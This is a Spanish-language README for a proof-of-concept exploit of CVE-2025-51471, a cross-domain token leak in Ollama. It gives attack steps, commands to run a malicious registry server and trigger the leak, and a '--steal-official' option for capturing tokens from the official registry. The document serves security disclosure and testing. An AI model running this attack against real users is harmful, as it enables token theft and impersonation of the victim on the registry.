CVE-2025-51471 - Exposición de Token entre Dominios de Ollama - PoC

Autor: ajtazer

🔥 Resumen

Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2025-51471, una vulnerabilidad de Exposición de Token de Autenticación entre Dominios que afecta a todas las versiones de Ollama (incluyendo la más reciente).

📋 Descripción de la Vulnerabilidad

Cuando Ollama descarga un modelo desde un servidor HTTPS que responde con 401 No autorizado, sigue la URL del realm del encabezado WWW-Authenticate sin validar si pertenece al mismo dominio[...]

Esto permite a un atacante:

1. Configurar un servidor de "registro" malicioso
2. Engañar a un usuario para que descargue un modelo de ese servidor
3. Devolver una respuesta 401 con un encabezado WWW-Authenticate que apunte a un punto final controlado por el atacante
4. Ollama envía ciegamente su token de autenticación firmado con Ed25519 al atacante
5. El atacante captura el token

Impacto

• Acceder a modelos privados en registry.ollama.ai
• Subir modelos maliciosos bajo la identidad de la víctima
• Suplantar a la víctima en el registro de Ollama

🚀 Inicio Rápido

Requisitos Previos

• Python 3.7+
• Flask (pip install flask)
• Ollama (cualquier versión)

Instalación

git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask

Ejecución del PoC

1. Iniciar el servidor de registro malicioso (modo HTTP):

python3 malicious_registry.py --no-ssl

2. En otra terminal, asegúrate de que Ollama esté funcionando:

ollama serve

3. Desencadenar la vulnerabilidad:

# Usando la API curl
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'

# O usando el CLI de ollama
ollama pull --insecure localhost:8080/malicious/model

4. ¡Observa la terminal del servidor para ver los tokens capturados!

🎬 Demo (Video del PoC)

Demostré este PoC en un video corto — míralo aquí:

YouTube — Demo PoC

Nota (modo HTTPS en macOS): Si usas el modo HTTPS, agrega el certificado generado a tu llavero o usa el modo HTTP con --no-ssl.

📖 Opciones de Uso

python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]

Opciones:
  --port, -p PORT       Puerto de escucha (por defecto: 8080)
  --no-ssl              Usar HTTP en lugar de HTTPS
  --steal-official, -s  Redirigir para robar tokens de registry.ollama.ai
  --no-verbose          Deshabilitar salida detallada

🔧 Puntos Finales de la API

🛡️ Mitigación

1. Solo descargar modelos de fuentes confiables
2. Tener cuidado al descargar modelos de registros de terceros
3. Consulta el PR #10750 para la corrección oficial

📝 Créditos

• Autor: ajtazer
• Investigadores Originales:
  • Mohammed Benhelli (@FuzzingLabs)
  • Patrick Ventuzelo (@FuzzingLabs)
  • Informe de Huntr

⚠️ Aviso Legal

Este PoC es solo para fines educativos y de pruebas de seguridad autorizadas. NO lo uses contra sistemas que no te pertenezcan.

Hecho con ❤️ usando Antigravity